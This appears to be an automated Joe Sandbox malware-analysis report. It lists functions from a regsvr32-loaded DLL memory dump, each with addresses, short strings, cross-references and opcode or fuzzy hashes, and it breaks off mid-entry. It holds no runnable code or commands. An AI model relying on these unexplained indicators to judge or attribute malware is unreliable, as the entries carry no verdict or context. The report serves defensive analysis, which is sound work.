Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }4}
API String ID: 0-922147943
Opcode ID: 13f685bfa53c13813d4a1c5d0eb0e1f62a0b1129b8c138172dc2148ffb4c9b25
Instruction ID: d7790a4c64fa8f9a696ea70ce14f4ff71b76161c227bc6b72ade158e86aff98b
Opcode Fuzzy Hash: 13f685bfa53c13813d4a1c5d0eb0e1f62a0b1129b8c138172dc2148ffb4c9b25
Instruction Fuzzy Hash: 3461F2B090075D8FCF48DFA4C88A5EEBBB0FB18348F114219E849B6250D7789A09CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000F2DC Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

J_H, xrefs: 000000018000F481

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: J_H
API String ID: 0-3345504573
Opcode ID: 917d428dc0055415592351f28073fdc95282f2729562562c1ca0dc8b4505919e
Instruction ID: 228b1474463df3943694e07488ce24e2c321c70e95dbe7fca5aca48057557888
Opcode Fuzzy Hash: 917d428dc0055415592351f28073fdc95282f2729562562c1ca0dc8b4505919e
Instruction Fuzzy Hash: EE71E3B1904789CBDBB9DFA4C8896DDBBB0FB48344F20421EDC5AAB251DBB45685CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180007F74 Relevance: 1.4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

Strings

6p, xrefs: 0000000180008042

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6p
API String ID: 0-4149211260
Opcode ID: 2ce6c019f8e175d8f04f96ba0abbac2df009c59e7d0a66d8d52c33c4e2d2dbc2
Instruction ID: 4bbd446beaef8e149afb4be24994101fb76057089ac3c5e28d57a25dd33f9813
Opcode Fuzzy Hash: 2ce6c019f8e175d8f04f96ba0abbac2df009c59e7d0a66d8d52c33c4e2d2dbc2
Instruction Fuzzy Hash: 5D512670D0470E8FDBA5CFA4C4863EEBBF0FB58344F208519E155B6251C7789A498BD6

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019900 Relevance: 1.4, Strings: 1, Instructions: 120COMMON

Download Yara Rule

Strings

o-b, xrefs: 00000001800199B2

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: o-b
API String ID: 0-1062997908
Opcode ID: 576a5f5008345344db0b8e3d8b9e4c65842e933aac756182c5b50859cc037c1c
Instruction ID: 42124e7df8dcd8895505725edc86312d8ed31e4959f5f45477de907a66349d68
Opcode Fuzzy Hash: 576a5f5008345344db0b8e3d8b9e4c65842e933aac756182c5b50859cc037c1c
Instruction Fuzzy Hash: 5951177050064D8BDB94DF58C48A6DE3BE0FB28398F254219FC4AA6250D7789699CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008534 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

>(O, xrefs: 0000000180008660

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: >(O
API String ID: 0-1787487011
Opcode ID: b44782859c9866ecf0a367f2980fc160796e99ead2e04d39a5c7d0e6a088d4a1
Instruction ID: 047403745ffdf525a43130cb5f0cbada7355141308e198c8a6f422d75d1d2ed5
Opcode Fuzzy Hash: b44782859c9866ecf0a367f2980fc160796e99ead2e04d39a5c7d0e6a088d4a1
Instruction Fuzzy Hash: FB51D0B090078A8BCF4CDF64C8964EE7BB1FB48344F418A1DE966A6350D3B49665CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800254E4 Relevance: 1.4, Strings: 1, Instructions: 110COMMON

Download Yara Rule

Strings

8:*, xrefs: 0000000180025571

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 8:*
API String ID: 0-724269717
Opcode ID: e3fa9c188720ae3383b8778e69c2785bb5a3de525a41bd4bbc95f284b45543ac
Instruction ID: 711009871b2250b35f00fe0553413368f045348530dbac453829dc2cbdd56c12
Opcode Fuzzy Hash: e3fa9c188720ae3383b8778e69c2785bb5a3de525a41bd4bbc95f284b45543ac
Instruction Fuzzy Hash: DE519FB491074A8FCF48CF68D48A4DEBFB0FB68398F604519EC56AA250D37496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001B8C Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

rX, xrefs: 0000000180001BA6

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: rX
API String ID: 0-981687150
Opcode ID: 72326b85271c7a937057e165988be4f12753e05fcac8eb4b8ea4e21389b64c69
Instruction ID: b6d69565f821f61997a80366e3bba675c41573294b632c1fc230c031640afc4a
Opcode Fuzzy Hash: 72326b85271c7a937057e165988be4f12753e05fcac8eb4b8ea4e21389b64c69
Instruction Fuzzy Hash: 4151AFB090034E9FCB88CF64D48A5DE7FF0FB68398F204619E856A6250D7B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A6BC Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

Mf_, xrefs: 000000018002A7D8

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Mf_
API String ID: 0-1332758469
Opcode ID: fb88f28924fad9aaa6151cff677ca0e0efdf4f904b7a048c95071875f4937966
Instruction ID: 588ebf95624ee4adfb38f08f1f8e1a2e631849e2b9196c961bccb52f3d8eb30d
Opcode Fuzzy Hash: fb88f28924fad9aaa6151cff677ca0e0efdf4f904b7a048c95071875f4937966
Instruction Fuzzy Hash: 72413A7051034E8BDB49DF24C88A6DE3FA0FB28388F254619FC4AA6250D774DA99CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800010E8 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180001159

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X
API String ID: 0-1684620495
Opcode ID: 95d6dfd1a906a0706b046fd694ee3460552bea9bfe9cb5e2a40ac0cd4b690da8
Instruction ID: f9643209bdbdb1888c2e59a9774da8228396ec72f530c9748c2220c9be6d5877
Opcode Fuzzy Hash: 95d6dfd1a906a0706b046fd694ee3460552bea9bfe9cb5e2a40ac0cd4b690da8
Instruction Fuzzy Hash: BC41B2B050C3858BC368DF69D49A51BFFF0FB8A344F104A1DF68686660D7B6D985CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A0F8 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

*ZP, xrefs: 000000018002A1F1

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: *ZP
API String ID: 0-3785686542
Opcode ID: 124ec41d44a3523d05a66609c609173a78c4b3624f4a4e6496b4e9e6556fc9cc
Instruction ID: cd700ac0e72fdea100a6c678007ea8a5747de393b09cc95ae15ed8a735d2c9a6
Opcode Fuzzy Hash: 124ec41d44a3523d05a66609c609173a78c4b3624f4a4e6496b4e9e6556fc9cc
Instruction Fuzzy Hash: C351A3B490038EDFCB89CF64D88A5CE7BB0FB14358F104A19F826A6260D7B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000FE08 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

m9, xrefs: 000000018000FF4F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: m9
API String ID: 0-3356931199
Opcode ID: 59db1ee33f63e0a2717973542dec2f5b5e1c1c898ff6bc1b3de0a09d2022d082
Instruction ID: d52339509a2a8a66acc38e501e73e88f1da459d23edb33c529fdb618239225c9
Opcode Fuzzy Hash: 59db1ee33f63e0a2717973542dec2f5b5e1c1c898ff6bc1b3de0a09d2022d082
Instruction Fuzzy Hash: AC41DFB091074E8BDB48CF68C48A5DE7FF0FB58388F24821DE816A6250D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029F5C Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

4pI, xrefs: 000000018002A04A

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 4pI
API String ID: 0-4229698716
Opcode ID: 2de104f479e2b2f02d24493f8855e4bc5dcdc9c63e6a51756a92895ab6f7f3eb
Instruction ID: 0770ca01e568b3f0bfe5184ab77212d0ab800e579d58ef6f76929ab8cb5ebb0d
Opcode Fuzzy Hash: 2de104f479e2b2f02d24493f8855e4bc5dcdc9c63e6a51756a92895ab6f7f3eb
Instruction Fuzzy Hash: 2741F4B190074E8BCF48CFA8C89A5DE7FB0FB58358F10561DE826A6250D3B49658CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BC70 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

T7, xrefs: 000000018000BD11

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: T7
API String ID: 0-2187045315
Opcode ID: 5b373cdcbe2aa1956c24a8ef4c3b2010382917b3ef4417ae897a4905ea2e7e5d
Instruction ID: e445a35d468e15d444dcf9e81ad6d1cbfbebd9662ebae466ae50992912f39bd9
Opcode Fuzzy Hash: 5b373cdcbe2aa1956c24a8ef4c3b2010382917b3ef4417ae897a4905ea2e7e5d
Instruction Fuzzy Hash: 6B41E3B191074A8BCF48CF68C48A4DE7FB0FF68398F214609E856A6250D3B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002143C Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

Y[, xrefs: 000000018002149C

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Y[
API String ID: 0-1945238269
Opcode ID: 31c1f4254bc290cabebbeaadf273c7758becd057e90036f86d7834daa6438d30
Instruction ID: 277041adf1a083522e20f1ff56a0db14356653c4c70dd43ccf4c86f47916e8c3
Opcode Fuzzy Hash: 31c1f4254bc290cabebbeaadf273c7758becd057e90036f86d7834daa6438d30
Instruction Fuzzy Hash: C941E67091038E8FCB48DF68C88A5DE7BB1FB58358F10461DEC6AAB250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029DF0 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

[, xrefs: 0000000180029F20

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [
API String ID: 0-784033777
Opcode ID: 593e2affadbd7d43363044155888d79a97a338ed63d972069ddab33477027861
Instruction ID: 430e1a122fe0b20a7e1e6f195b5c5d6ab4e3c741a825a8fe397d5d7cdac5a180
Opcode Fuzzy Hash: 593e2affadbd7d43363044155888d79a97a338ed63d972069ddab33477027861
Instruction Fuzzy Hash: 2841E4B090074E8BCB48CF64C89A4EE7FF1FB68358F11461DE856A6250D3B496A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B948 Relevance: 1.3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

Strings

9 m, xrefs: 000000018000BA3A

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 9 m
API String ID: 0-1920745034
Opcode ID: 403251bbe0303adcdb9fc718cab8a153fac6736b8b0f21ecfcc0465734d374f6
Instruction ID: 3be0e43e89224af25a3a96d245761afcbfad2e5132df1735d4859c98edb6e384
Opcode Fuzzy Hash: 403251bbe0303adcdb9fc718cab8a153fac6736b8b0f21ecfcc0465734d374f6
Instruction Fuzzy Hash: 5D41A6B180038ECFCB48CF68C88A5DE7FB1FB58358F114A19F869A6210D7B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180003840 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

wo0, xrefs: 0000000180003947

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wo0
API String ID: 0-1782833155
Opcode ID: 915272897a82389ccaff6fb74a1b6d3f763f551119c92165f64424d72f92453c
Instruction ID: 9062cfcdbd96f40b118b25d613ee2554a2eb62b456f013d12e1abcba11dd4c76
Opcode Fuzzy Hash: 915272897a82389ccaff6fb74a1b6d3f763f551119c92165f64424d72f92453c
Instruction Fuzzy Hash: AD4104B090034E8BCB48CF68C4865DE7FB0FB48358F11861DE85AAA250D7749664CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800257C0 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

0FT, xrefs: 00000001800258AF

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0FT
API String ID: 0-3306264968
Opcode ID: 221a7c3e7820f489f33ab0bfd813c90db956588b7e3f278aa32cbc5897504973
Instruction ID: 6bc0069c9e8fc616ccef226ca938112ebcbb35ca2f33a2ab28ad344b092e513b
Opcode Fuzzy Hash: 221a7c3e7820f489f33ab0bfd813c90db956588b7e3f278aa32cbc5897504973
Instruction Fuzzy Hash: 30419FB090078E8FCB49CF64C88A5DE7BB0FB18358F104A19E866A7250D7B8D665CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E638 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

[Mh<, xrefs: 000000018000E689

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [Mh<
API String ID: 0-3342980100
Opcode ID: 8db4eb38f9ab2c3bc7d36487ff8b598b8cd98b11ddd9dbc7aed51384deea61bf
Instruction ID: 3dfa530075d16dbdc0ab74c4fd592fdc9016efe2b3d8749faa49a3b984689735
Opcode Fuzzy Hash: 8db4eb38f9ab2c3bc7d36487ff8b598b8cd98b11ddd9dbc7aed51384deea61bf
Instruction Fuzzy Hash: 3D41B4B090034E8BDB88DF68C88A4DE7FF0FB58398F104619E855A6250D37496A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C740 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

[*y, xrefs: 000000018000C7E8

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: [*y
API String ID: 0-3642367475
Opcode ID: f920a7f17afa669f85dd4fa2bbc3f052cb99f05070bc78a3fd5f717c453881c3
Instruction ID: f49b88a051f724710f0cfdc48a2fab0be3c7391659c99e254e23c0044fb95fb4
Opcode Fuzzy Hash: f920a7f17afa669f85dd4fa2bbc3f052cb99f05070bc78a3fd5f717c453881c3
Instruction Fuzzy Hash: 9F318C746183858B8748DF28D45641ABBE1FBCC308F405B2DF8CAAB291D7789641CB8B

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800117C4 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

dk, xrefs: 0000000180011856

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dk
API String ID: 0-2586313868
Opcode ID: 8a4805f75226fc2840e2c7b063b7b1e39b1ba6f4f5ce1306a123ad924c24cf9d
Instruction ID: bd21a50a93d9ce141822b95cdb4ee263f008649e2ad7f0911c2a62c734e6813a
Opcode Fuzzy Hash: 8a4805f75226fc2840e2c7b063b7b1e39b1ba6f4f5ce1306a123ad924c24cf9d
Instruction Fuzzy Hash: 8631E4B0508B808BC75CDF28C49A51BBBF1FBC6354F504A1CF686863A0DBB6D849CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000B444 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

m?@, xrefs: 000000018000B53F

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: m?@
API String ID: 0-4017832957
Opcode ID: 92bb4875fae3dfbb536cc4a594f9b8f02b4b9fef725d60d218a6fcb850c1db5e
Instruction ID: 763f89865c62d32814b91696e152b9bff8d9fc03c4acc356d14baff2dc9750fc
Opcode Fuzzy Hash: 92bb4875fae3dfbb536cc4a594f9b8f02b4b9fef725d60d218a6fcb850c1db5e
Instruction Fuzzy Hash: B231BF752187858BC749DF28C04A41ABBE1FB8D30CF504B2DF4CAA6350D778D616CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800064D0 Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

MR, xrefs: 0000000180006504

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: MR
API String ID: 0-1985102067
Opcode ID: c3045b5f67f41fb122cd1cd8de18bcca47d48181f2768d112050a64545bdb3cc
Instruction ID: 3dc758c2b0da019c4ef40f7354f1f5afd613488c2e2992af3e697213e5bda16f
Opcode Fuzzy Hash: c3045b5f67f41fb122cd1cd8de18bcca47d48181f2768d112050a64545bdb3cc
Instruction Fuzzy Hash: 9F215CB05187808BD749DF28C55941EBBE1BB9D30CF804B2DF4CAAA251D778DA05CF4A

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010050 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

h{9, xrefs: 00000001800100B7

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: h{9
API String ID: 0-709585855
Opcode ID: 158519ec253ad62ee934b2a1f06c22473a728e5d40c1cbc8d8e2591bd6c1f9a1
Instruction ID: 28d7748f9e23597285172eede27c795ca80d4d45ffdf147c2eecc812d7a7424c
Opcode Fuzzy Hash: 158519ec253ad62ee934b2a1f06c22473a728e5d40c1cbc8d8e2591bd6c1f9a1
Instruction Fuzzy Hash: A22180B152D785AFC788DF28C59991ABBE0FB98308F806E1DF9868A250D374D545CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800036A8 Relevance: 1.3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

Strings

=WQ, xrefs: 0000000180003772

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: =WQ
API String ID: 0-979633440
Opcode ID: beecb343f63eb420ad30c3b234d671f41fcffe89ae230601040905a52fbe6922
Instruction ID: f1c989dca105177ef840caf4573424004201902730bc760d24db79eb0592445f
Opcode Fuzzy Hash: beecb343f63eb420ad30c3b234d671f41fcffe89ae230601040905a52fbe6922
Instruction Fuzzy Hash: 2C2146746187848B8749DF28C44A51ABBE1BB8D30CF804B1DF8CAAB250D7789A05CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800202E0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d58b218a6fad6bc529337baac5d9ed9f8b1cbf9dbb0a3b92ec118c03c99fb86
Instruction ID: c77f93fcecba916d7a728a8c6eb3e78c0c4fd01b54dcd62d4346d4040ea08623
Opcode Fuzzy Hash: 0d58b218a6fad6bc529337baac5d9ed9f8b1cbf9dbb0a3b92ec118c03c99fb86
Instruction Fuzzy Hash: 28E11E7090470D8FCF59DF68D446AEE7BB6FB48344F504129EC4EAB251DB74AA08CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A840 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c8b8be56366865ecfdde9c8b2ec8895e219799960cb59c8d6409a7e773344f9
Instruction ID: 37013b96f87cdafdf9e9430ef7fa874701b46d6ad591addafa58d16b7588ecf0
Opcode Fuzzy Hash: 1c8b8be56366865ecfdde9c8b2ec8895e219799960cb59c8d6409a7e773344f9
Instruction Fuzzy Hash: 7E811370D047098FDB89CFA8D4856EEBBF1FB48314F14812EE846B6250CB788A49CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025E88 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 636ed3c89b38e63114f2d2672b542ea9429d7597145989221425ac881483aa9e
Instruction ID: 9c3afdfbfdf497047419e96e23ac648a32a0c35cf7c10b77ff2162508d5b9c58
Opcode Fuzzy Hash: 636ed3c89b38e63114f2d2672b542ea9429d7597145989221425ac881483aa9e
Instruction Fuzzy Hash: 68715B70A0460D8FCFA9DF64D0857EE77F2FB48348F109169E856972A2DB74DA18CB84

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E278 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b2812e5277d79cf71890da185327c00cb0182960b11156e794a9778dcccdd1
Instruction ID: 96a2ca05932f578597b6f31f20a9b51789f655d9034ffcd243468df0dde1503e
Opcode Fuzzy Hash: 62b2812e5277d79cf71890da185327c00cb0182960b11156e794a9778dcccdd1
Instruction Fuzzy Hash: 8B6108B050424D8FCB99CF28C48A6DA7FE0FB58348F61422DF84AA6250D778D694CB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180027C28 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7e039c7e162bbace75073517b23d1c0edb14752be4eceffb74d3575dc747b7
Instruction ID: e11998f87687b7015f7b025411e2dba788bee123d684f62271b2fcc2a6602c8d
Opcode Fuzzy Hash: 0a7e039c7e162bbace75073517b23d1c0edb14752be4eceffb74d3575dc747b7
Instruction Fuzzy Hash: 74516C3011C7889FD7A9DF28C48A7ABBBF2FB88354F405A1DE4CA83251D775A5468B43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF70 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b3c9751f9c0622dad5cee6893bdb18b89ef97b8e375e51f8b49718ad0ca1ed
Instruction ID: 3c9e139cfc3177b9e6430d12f2245ff46c98974f9447e7844960b67abc7cc201
Opcode Fuzzy Hash: 37b3c9751f9c0622dad5cee6893bdb18b89ef97b8e375e51f8b49718ad0ca1ed
Instruction Fuzzy Hash: 2C416E705197449FD7D5CF28C489B5EBBE0FB88744F80A92DF485C2291CB74C9498B03

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180021754 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93e85a75c27503c9e550547e6f4dbe74bfd5b550d549da600d4a1fb4778da09
Instruction ID: 8d3aa2995036c6943faeb837d6d259061f9fd1ebb01e44e177952bfba46c1523
Opcode Fuzzy Hash: d93e85a75c27503c9e550547e6f4dbe74bfd5b550d549da600d4a1fb4778da09
Instruction Fuzzy Hash: BC51B5B190038E9FCB48CF68D8865DE7BF0FB48358F508A19F826A7250D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180023220 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a73fccebe1b17c37a08eaad88bc03e676d8e4e44166d1bd6bc2a62feffe697
